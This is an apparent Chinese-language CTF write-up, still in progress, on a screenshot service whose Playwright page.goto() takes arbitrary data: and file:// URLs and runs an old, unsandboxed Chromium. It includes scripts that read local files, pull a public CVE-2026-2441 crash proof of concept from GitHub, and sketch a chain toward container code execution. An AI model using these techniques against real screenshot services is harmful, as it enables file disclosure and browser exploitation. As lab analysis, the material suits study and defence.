screengrab
题目信息
- 类型:Web
- 题目状态:阶段性分析,已确认题目入口和浏览器利用方向
- 目标:
http://cdeployer1.2485370.xyz:8080/ - 核心漏洞:
/api/screenshot将用户输入直接喂给 Playwright 的page.goto(),且浏览器是无沙箱、单进程的旧版 Headless Chromium;公开的CVE-2026-2441PoC 可以在这个环境里稳定打崩浏览器
Flag
暂未获取
入口与现象
题目给出的地址并不是已经启动好的实例,而是一个 challenge instancer:
GET / -> 200 Challenge Instancer
POST /create -> 需要 Cloudflare Turnstile
2026-04-18 实测,直接提交创建请求会返回:
Turnstile verification failed. Are you a bot?
所以没法直接自动创建远端 screengrab 实例,只能先结合附件做本地分析。
附件源码很小,核心后端只有一个截图接口:
@app.route('/api/screenshot')
def screenshot():
url = request.args.get('url')
...
browser = p.chromium.launch(
headless=True,
args=[
"--no-sandbox",
"--disable-dev-shm-usage",
"--disable-gpu",
"--single-process",
...
],
)
page = browser.new_page()
page.goto(url)
page.wait_for_load_state('domcontentloaded')
page.wait_for_timeout(1337)
screenshot_bytes = page.screenshot()
这里已经能看出几个危险点:
url没有任何协议或域名白名单。- Playwright 直接访问用户给定的页面。
- 浏览器启动参数里同时开了
--no-sandbox和--single-process。
前端还有一个明显的反射型 XSS:
const title = urlParams.get('title');
...
<h2 className="post-title" dangerouslySetInnerHTML={{ __html: post.title }}></h2>
不过继续往下看,会发现这题更关键的入口其实不是前端 XSS,而是截图接口本身可以直接吃任意 data: / file: 页面。
分析过程
1. 截图接口可以直接访问 data:、file://、view-source:
我先用本地 Playwright 复现题目的启动参数,验证浏览器到底接受哪些 scheme。
测试结果:
data:text/html,<h1>DATA OK</h1>可以正常渲染file:///...可以正常打开本地文件view-source:file:///...可以把文本文件源码直接显示出来javascript:直接goto()会报ERR_ABORTED
这意味着如果手里有浏览器 exploit,完全不需要依赖远端再托管一个恶意站点,直接把 exploit HTML 塞进 data: URL 里喂给 /api/screenshot 就够了。
2. 浏览器版本不是“系统 Chrome”,而是 Playwright 固定下来的旧版
本地直接读取 navigator.userAgent,得到的结果是:
Mozilla/5.0 ... HeadlessChrome/145.0.7632.6 Safari/537.36
这点非常关键,因为源码里并没有固定 Chromium 版本,但 playwright install chromium 会拉取 Playwright 自己绑定的浏览器构建。题目实际跑的是:
HeadlessChrome/145.0.7632.6
而不是比赛当天的最新 Chrome。
3. 这个浏览器版本命中公开的 CVE-2026-2441
公开资料显示,CVE-2026-2441 是 Blink CSS 引擎里 CSSFontFeatureValuesMap 的 use-after-free,修复版本是:
- Windows / macOS:
145.0.7632.75及以上 - Linux:
144.0.7559.75及以上
题目环境的 145.0.7632.6 显然落在修复前。
更重要的是,这题浏览器又额外满足两个对利用很友好的条件:
--no-sandbox--single-process
也就是说,只要能把这个 Blink UAF 从“公开 crash PoC”推进到“可控浏览器代码执行”,就不是普通的 renderer sandbox 内执行,而是直接进入题目容器里的浏览器进程上下文。
4. 公开 crash PoC 可以在题目同款浏览器上直接打崩
我把公开的 CVE-2026-2441 PoC 直接塞给本地同版本 Playwright Chromium,结果不是“页面报错”,而是整个 target 被直接打死:
html_len 11809
exc TargetClosedError('Page.set_content: Target page, context or browser has been closed
Call log:
- setting frame content, waiting until "domcontentloaded"
')
这说明:
- 题目环境里确实能触发这个浏览器 1-day。
- 这不是停留在版本碰瓷,而是本地实测能复现浏览器崩溃。
5. 最合理的最终利用链
结合 Dockerfile,可以推断题目预期终点应该是:
- 用
/api/screenshot?url=data:text/html,...投喂浏览器 exploit。 - 在
HeadlessChrome/145.0.7632.6上拿到浏览器代码执行。 - 因为浏览器是
--no-sandbox --single-process启动,代码执行直接落进容器内。 - 以普通用户身份执行
/app/read_flag。 - 通过写文件、回显页面或本地 HTTP 服务把结果带回截图里。
Dockerfile 里已经把最后一步准备好了:
COPY --from=builder /app/read_flag ./read_flag
RUN chown root:root read_flag && chmod 4755 read_flag
RUN chown root:root flag.txt && chmod 400 flag.txt
这说明单纯任意读文件并不足以拿 flag,最后一定需要命令执行,再调用 setuid 的 read_flag。
利用过程
当前已确认、可复现的步骤如下:
- 拿到附件后审源码,确认
url被直接传进page.goto(),而且浏览器参数是--no-sandbox --single-process。 - 本地验证
data:、file://、view-source:均可被截图接口对应的 Playwright 正常处理。 - 本地验证浏览器 UA 是
HeadlessChrome/145.0.7632.6。 - 对这个浏览器直接运行公开的
CVE-2026-2441PoC,浏览器会被打崩。 - 由此确认题目的主线不是前端业务逻辑,而是“任意页面加载 -> 老版本 Chromium n-day -> 容器内命令执行 ->
/app/read_flag”。
目前还差最后一段“把 crash PoC 升级成稳定 RCE payload”的 exploit 细节,因此没有拿到远端真实 flag。
关键 payload / 命令
1. 读取浏览器版本
from playwright.sync_api import sync_playwright
with sync_playwright() as p:
browser = p.chromium.launch(headless=True, args=[
'--no-sandbox',
'--single-process',
])
page = browser.new_page()
page.goto('data:text/html,<script>document.write(navigator.userAgent)</script>')
page.wait_for_timeout(500)
print(page.locator('body').inner_text())
browser.close()
输出:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/145.0.7632.6 Safari/537.36
2. 验证 data: / file:// / view-source:
tests = [
'data:text/html,<h1>DATA OK</h1>',
'file:///C:/Windows/win.ini',
'view-source:file:///C:/Windows/win.ini',
]
这些 scheme 在本地同配置浏览器里都能成功渲染。
3. 复现公开的 CVE-2026-2441 crash PoC
import requests
from playwright.sync_api import sync_playwright
html = requests.get(
'https://raw.githubusercontent.com/huseyinstif/CVE-2026-2441-PoC/main/poc.html',
timeout=20,
).text
with sync_playwright() as p:
browser = p.chromium.launch(headless=True, args=[
'--no-sandbox',
'--single-process',
'--disable-dev-shm-usage',
'--disable-gpu',
])
page = browser.new_page()
page.set_content(html, wait_until='domcontentloaded', timeout=10000)
结果:
TargetClosedError: Page.set_content: Target page, context or browser has been closed
总结
这题最值得注意的不是前端那个 dangerouslySetInnerHTML,而是截图服务把用户内容直接送进了一个:
- 可访问任意 scheme 的 Playwright
page.goto() --no-sandbox--single-process- 版本固定且落在公开 1-day 修复前的 Chromium
从本地验证结果看,题目主线已经足够明确:
/api/screenshot -> data: 恶意页面 -> 旧版 Chromium 1-day -> 容器命令执行 -> /app/read_flag
当前缺的不是“入口点”,而是浏览器 exploit 的最后一跳。只要补上可用的 CVE-2026-2441 RCE payload,这题就能直接落到读取 /app/read_flag。
另外,2026-04-18 实测题目给的外链仍然是 instancer 首页,且创建实例前必须通过 Cloudflare Turnstile,所以自动化阶段没法直接验证远端真实 flag。